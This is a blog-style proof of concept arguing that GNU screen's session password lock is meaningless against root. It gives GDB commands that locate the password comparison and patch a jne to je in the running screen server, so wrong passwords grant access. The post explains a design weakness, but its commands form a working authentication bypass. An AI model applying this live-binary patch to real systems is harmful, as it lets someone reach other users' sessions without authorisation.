The famous screen program – luckily by now mostly obsolete thanks to tmux – has a feature to “password lock” a session. The manual:
This is useful if you have privileged programs running under screen and you want to protect your session from reattach attempts by another user masquerading as your uid (i.e. any superuser.)
This is of course utter crap. As the super user, you can do anything you like, including changing a program’s executable at run time, which I want to demonstrate for screen as a POC.
The password is checked on the server side (which usually runs with setuid root) here:
if (strncmp(crypt(pwdata->buf, up), up, strlen(up))) {
...
AddStr("\r\nPassword incorrect.\r\n");
...
}
If I am root, I can patch the running binary. Ultimately, I want to circumvent this passwordcheck. But we need to do some preparation:
First, find the string about the incorrect password that is passed to
AddStr
. Since this is a compile-time constant, it is stored in the
.rodata
section of the ELF.
Just fire up GDB on the screen binary, list the sections (redacted for brevity here)…
(gdb) maintenance info sections
Exec file:
`/usr/bin/screen', file type elf64-x86-64.
...
0x00403a50->0x0044ee8c at 0x00003a50: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
0x0044ee8c->0x0044ee95 at 0x0004ee8c: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
0x0044eea0->0x00458a01 at 0x0004eea0: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
...
… and search for said string in the .rodata
section:
(gdb) find 0x0044eea0, 0x00458a01, "\r\nPassword incorrect.\r\n"
0x45148a
warning: Unable to access target memory at 0x455322, halting search.
1 pattern found.
Now, we need to locate the piece of code comparing the password. Let’s
first search for the call to AddStr
by taking advantage of the fact
that we know the address of the string that will be passed as the
argument. We search in .text
for the address of the string:
(gdb) find 0x00403a50, 0x0044ee8c, 0x45148a
0x41b371
1 pattern found.
Now there should be a jne
instruction shortly before that (this
instruction stands for “jump if not equal” and has the opcode 0x75).
Let’s search for it:
(gdb) find/b 0x41b371-0x100, +0x100, 0x75
0x41b2f2
1 pattern found.
Decode the instruction:
(gdb) x/i 0x41b2f2
0x41b2f2: jne 0x41b370
This is it. (If you want to be sure, search the instructions before
that. Shortly before that, at 0x41b2cb, I find: callq 403120 <strncmp@plt>
.)
Now we can simply patch the live binary, changing 0x75 to 0x74 (jne
to je
or “jump if equal”), thus effectively inverting the if
expression. Find the screen server process (it’s written in all caps
in the ps
output, i.e. SCREEN
) and patch it like this, where
=(cmd)
is a Z-Shell shortcut for “create temporary file and delete
it after the command finishes”:
$ sudo gdb -batch -p 23437 -x =(echo "set *(unsigned char *)0x41b2f2 = 0x74\nquit")
All done. Just attach using screen -x
, but be sure not to enter
the correct password: That’s the only one that will not give you
access now.